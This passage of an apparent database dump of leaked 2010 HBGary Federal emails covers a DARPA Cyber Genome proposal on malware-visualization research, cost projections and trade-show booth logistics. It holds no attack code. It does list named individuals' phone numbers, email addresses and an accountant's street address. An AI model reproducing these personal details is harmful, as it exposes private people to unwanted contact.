Months\r\n  36-48\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProposed:\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   \r\n   Date\r\n   \r\n   \r\n   \r\n   \r\n   Effort\r\n   \r\n   \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 1-6\r\n  \r\n  \r\n  \r\n  \r\n  Define visualization requirements for the analysis of\r\n  malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 7-8\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  malware functionality and behaviors\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 9-15\r\n  \r\n  \r\n  \r\n  \r\n  Develop visualization prototypes to assist in the\r\n  analysis of malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 15-24\r\n  \r\n  \r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete\r\n  visualization prototypes\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 25-27\r\n  \r\n  \r\n  \r\n  \r\n  Define requirements for the visualization of aggregate\r\n  malware functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues).\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 28-29\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  aggregate malware functionality and behaviors (fingerprinting and\r\n  auto-discovery of characteristics through visual cues).\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 30-36\r\n  \r\n  \r\n  \r\n  \r\n  Develop visualization prototype to assist in the analysis\r\n  of aggregate malware functionality and behaviors (fingerprinting and auto-discovery\r\n  of characteristics through visual cues).\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months\r\n  36-48\r\n  \r\n  \r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete\r\n  visualization prototypes\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;ll\r\nneed this confirmation to finalize our costing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n---------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\nKen\r\nProle ~ Project Engineer\r\nApplied Visions, Inc., Secure Decisions Division\r\n631.759.3907 ~&nbsp;securedecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n----------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;RFP\r\nSecure Decisions Cyber Genome Program-TA3.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',431,'aaron_hbgary_com/431.html'),(4447,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002540.M902904P3547Q4447.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: 2009 - 2010 HBGary Federal Projections','---------- Forwarded message ----------\r\nFrom: Penny Hoglund \r\nDate: Tue, Dec 1, 2009 at 3:10 PM\r\nSubject: FW: 2009 - 2010 HBGary Federal Projections\r\nTo: Ted Vera \r\n\r\n\r\nThis is from John\r\n\r\n\r\n\r\nFrom: John L. Cox, CPA [mailto:johncoxcpa@verizon.net]\r\nSent: Tuesday, December 01, 2009 11:50 AM\r\nTo: \'Penny Hoglund\'\r\nSubject: 2009 - 2010 HBGary Federal Projections\r\nImportance: High\r\n\r\n\r\n\r\nHi Penny,\r\n\r\n\r\n\r\nPlease see attached as promised.  Please review G&A expenses on page 2\r\nand overhead expenses on page 3.  Please review percentages on page 10\r\nand make appropriate changes in percentages.  I have used $960,000 in\r\nrevenues for the 12 months as calculated on the bottom of page 12,\r\ncash flow prepared by others.  Based on these initial numbers, see\r\npage 11, fully burdened rates are calculated showing billing rates are\r\ninsufficient to cover costs.  My costs may be too high so I will rerun\r\nspreadsheets when I receive your updated numbers on pages 2,3 and 10.\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice\r\n\r\n(866) 750-1973 Fax\r\n\r\n\r\n\r\nThis message contains information that may be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for\r\nthe addressee), you may not use, copy, print or disclose to anyone the\r\nmessage or any information contained in the message. If you have\r\nreceived this e-mail in error, please advise the sender by reply and\r\ndelete the message. Thank you.\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2867,'aaron_hbgary_com/2867.html'),(4448,'2010-03-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297002541.M181075P3547Q4448.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning Aaron,\r\n\r\n&nbsp;\r\n\r\nWe are shipping the booth to your house.&nbsp; The booth would\r\nget to the show to early and we would have to pay storage.&nbsp; Once it\r\narrives at your house we can make arrangement for shipping.&nbsp; Please\r\ncontact me when it does arrive as soon as you receive it.&nbsp; \r\n\r\nThe monitor is broken. &nbsp;&nbsp;I will have to looking for a\r\ndifferent monitor, hopefully I can get to you before the show.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite\r\n250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 7:48 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Fwd: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust got the info, sorry for delay. &nbsp;The Ritz-Carlton\r\nis the one in Tysons Corner.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTimothy\r\nRonan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n24, 2010 10:46:13 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;, Matthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf it would be easiest to store local in DC prior to the\r\nconference, you are welcome to send it to our Tysons office.&nbsp;\r\nAlternatively, the Ritz-Carlton will be prepared to start receiving partner\r\nequipment on Monday, 4/5.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOur office mailing address is:\r\n\r\n\r\n\r\n\r\n\r\n1660 International Dr., Suite 800\r\n\r\n\r\n\r\n\r\n\r\nMcLean, VA 22102\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if you decide to mail it here so I can keep an eye\r\nout for it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPS. Also attached the conference partner guide for your\r\nreference.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 9:03 PM\r\nTo:&nbsp;Matthew Steckman\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will have more time once the DARPA proposal is in on\r\nMonday. &nbsp;Right now my brain is full with Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim. &nbsp;What should I do about our booth? &nbsp;Right now\r\nit is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know\r\nbest.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 5:23 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously\r\nmention our HBGary connections as well.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know what you think.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8247,'aaron_hbgary_com/8247.html'),(4449,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002541.M478180P3547Q4449.eml','aaron@hbgary.com','Alarm - HBGary Federal Costs','March 24, 2010 1:00 PM : HBGary Federal CostsRefine HBGary Federal Cost Estimates to establish overhead &amp; G&amp;A rates. ',11315,'aaron_hbgary_com/11315.html'),(4450,'2010-03-24','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297002541.M979588P3547Q4450.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Re: TA3 Proposal','I should have some revisions sent off later this afternoon.\r\n\r\n\r\nOn Mar 23, 2010, at 11:04 PM, Adam Fraser wrote:\r\n\r\n> Aaron,\r\n> \r\n> I\'m not done commenting on this doc, but I wanted to go ahead get you\r\n> what I had.  I think Irby will also have some comments and inputs.\r\n> \r\n> Thanks\r\n> -- Adam\r\n> \r\n> \r\n> \r\n> On 3/22/10 11:10 PM, Aaron Barr wrote:\r\n>> All,\r\n>> \r\n>> Please review the TA3 proposal for content.  Pay close attention to the following tables first and add content as needed:\r\n>> 1. Innovative Claims\r\n>> 2. Deliverables\r\n>> 3. Intellectual Property\r\n>> 4. Organizational Chart\r\n>> 5. Previous Accomplishments\r\n>> 6. Description of Facilities\r\n>> \r\n>> Then review the document overall for content.  The majority of the document is ready for pink team review with the exception of III.C, III.D, III.E.  I am working on those now.\r\n>> \r\n>> All Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is working on right now.\r\n>> \r\n>> I need your sealed envelops Thursday.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\n',9615,'aaron_hbgary_com/9615.html'),(4451,'2010-03-24','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002545.M147043P3547Q4451.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Revised TA3 Secure Decisions RFP','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPer our discussion today, we revised the HBGary list of\r\nmilestones, travel and subtask schedule so that all tasks and travel are in\r\nPhases 1a and 1b. &nbsp;Attached is a revised RFP with tracked &nbsp;changes. I\r\nfilled in the revision record as well. The new milestone dates, travel &nbsp;and\r\nsubtasks appear below.\r\n\r\nThis is what we will cost to, with a cost bogey of $900K.\r\n\r\n&nbsp;\r\n\r\n**Please confirm that you concur. We will start costing after we\r\nreceive your confirmation.\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\nTable 1: Milestone Schedule (All dates are tentative)\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Milestone\r\n  \r\n  \r\n  Planned\r\n  Date\r\n  \r\n \r\n \r\n  \r\n  Deliver research paper on visualization for analysis of malware\r\n  behavior and functions.\r\n  \r\n  \r\n  Month 6\r\n  \r\n \r\n \r\n  \r\n  Deliver research paper on visualization architecture and proof of\r\n  concept for malware functions and behaviors.\r\n  \r\n  \r\n  Month 8\r\n  \r\n \r\n \r\n  \r\n  Deliver prototype capability for the visualization of malware\r\n  functionality and behaviors\r\n  \r\n  \r\n  Month 15\r\n  \r\n \r\n \r\n  \r\n  Deliver enhanced prototype with fully functional capability to\r\n  visualize malware functionality and behaviors.\r\n  \r\n  \r\n  Month 24\r\n  \r\n \r\n \r\n  \r\n  Deliver a research paper on the visualization of aggregate malware\r\n  functionality and behaviors, including the ability to identify and classify\r\n  malware based on its visual cues.\r\n  \r\n  \r\n  Month 21\r\n  \r\n \r\n \r\n  \r\n  Deliver research paper on visualization architecture and proof of concept\r\n  of malware aggregate functionality and behaviors.\r\n  \r\n  \r\n  Month 23\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 10:56 AM\r\nTo: Kenny Prole\r\nCc: Ebbe Reker; Frank Zinghini; Anita D\'Amico; Ted Vera\r\nSubject: Re: TA3 Secure Decisions RFP Clarification\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Ken,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat was on purpose in discussions with Anita to reign in\r\ncosts. &nbsp;The aim will be that we are part of the last teams standing and\r\ntheir will be additional funds in the out years to support further development.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen can I expect to see updated costs for the plan?\r\n&nbsp;Are you on track to ship the sealed packages today or tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 24, 2010, at 8:59 AM, Kenny Prole wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreviewing the RFP/SOW you sent (also attached), I noticed there&#8217;s a gap\r\nfrom month 30-35 and no description for months 36-48. Was that your intent?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nreview the current and proposed tasks below if indeed it was just oversight.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCurrent:\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   \r\n   Date\r\n   \r\n   \r\n   \r\n   \r\n   Effort\r\n   \r\n   \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 1-6\r\n  \r\n  \r\n  \r\n  \r\n  Define visualization requirements for the analysis of\r\n  malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 7-8\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  malware functionality and behaviors\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 9-15\r\n  \r\n  \r\n  \r\n  \r\n  Develop visualization prototypes to assist in the\r\n  analysis of malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 15-24\r\n  \r\n  \r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete\r\n  visualization prototypes\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 25-27\r\n  \r\n  \r\n  \r\n  \r\n  Define requirements for the visualization of aggregate\r\n  malware functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 28-29\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  aggregate malware functionality and behaviors (fingerprinting and\r\n  auto-discovery of characteristics through visual cues.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months\r\n  36-48\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProposed:\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   \r\n   Date\r\n   \r\n   \r\n   \r\n   \r\n   Effort\r\n   \r\n   \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 1-6\r\n  \r\n  \r\n  \r\n  \r\n  Define visualization requirements for the analysis of\r\n  malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 7-8\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  malware functionality and behaviors\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 9-15\r\n  \r\n  \r\n  \r\n  \r\n  Develop visualization prototypes to assist in the\r\n  analysis of malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 15-24\r\n  \r\n  \r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete\r\n  visualization prototypes\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 25-27\r\n  \r\n  \r\n  \r\n  \r\n  Define requirements for the visualization of aggregate\r\n  malware functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues).\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 28-29\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  aggregate malware functionality and behaviors (fingerprinting and\r\n  auto-discovery of characteristics through visual cues).\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 30-36\r\n  \r\n  \r\n  \r\n  \r\n  Develop visualization prototype to assist in the analysis\r\n  of aggregate malware functionality and behaviors (fingerprinting and\r\n  auto-discovery of characteristics through visual cues).\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months\r\n  36-48\r\n  \r\n  \r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete\r\n  visualization prototypes\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;ll\r\nneed this confirmation to finalize our costing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n---------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\nKen\r\nProle ~ Project Engineer\r\nApplied Visions, Inc., Secure Decisions Division\r\n631.759.3907 ~&nbsp;securedecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n----------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;RFP\r\nSecure Decisions Cyber Genome Program-TA3.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12779,'aaron_hbgary_com/12779.html'),(4452,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002553.M302297P3547Q4452.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,ebber@avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com,\"Ted Vera\" <ted@hbgary.com>','Latest version','All,\r\n\r\nAgain please look at tables for data to fill out for your area of responsibility.\r\nInnovations Table\r\nDeliverables Table\r\nKey Personnel Table (Ken I need you to fit your into the format in the document).\r\n\r\nI also need comparisons with other research from your respective areas.\r\n\r\nThanks,\r\nAaron\r\n\r\n',13739,'aaron_hbgary_com/13739.html'),(4453,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002553.M712984P3547Q4453.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: Revised TA3 Secure Decisions RFP','Thanks Anita,I agree with your changes.AaronOn Mar 24, 2010, at 1:01 PM, Anita D\'Amico wrote:Aaron,&nbsp;Per our discussion today, we revised the HBGary list of milestones, travel and subtask schedule so that all tasks and travel are in Phases 1a and 1b. &nbsp;Attached is a revised RFP with tracked &nbsp;changes. I filled in the revision record as well. The new milestone dates, travel &nbsp;and subtasks appear below.This is what we will cost to, with a cost bogey of $900K.&nbsp;**Please confirm that you concur. We will start costing after we receive your confirmation.&nbsp;Best regards,&nbsp;Anita&nbsp;Table 1: Milestone Schedule (All dates are tentative)MilestonePlanned DateDeliver research paper on visualization for analysis of malware behavior and functions.Month 6Deliver research paper on visualization architecture and proof of concept for malware functions and behaviors.Month 8Deliver prototype capability for the visualization of malware functionality and behaviorsMonth 15Deliver enhanced prototype with fully functional capability to visualize malware functionality and behaviors.Month 24Deliver a research paper on the visualization of aggregate malware functionality and behaviors, including the ability to identify and classify malware based on its visual cues.Month 21Deliver research paper on visualization architecture and proof of concept of malware aggregate functionality and behaviors.Month 23&nbsp;&lt;image005.png&gt;&nbsp;&lt;image006.png&gt;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 24, 2010 10:56 AMTo:&nbsp;Kenny ProleCc:&nbsp;Ebbe Reker; Frank Zinghini; Anita D\'Amico; Ted VeraSubject:&nbsp;Re: TA3 Secure Decisions RFP 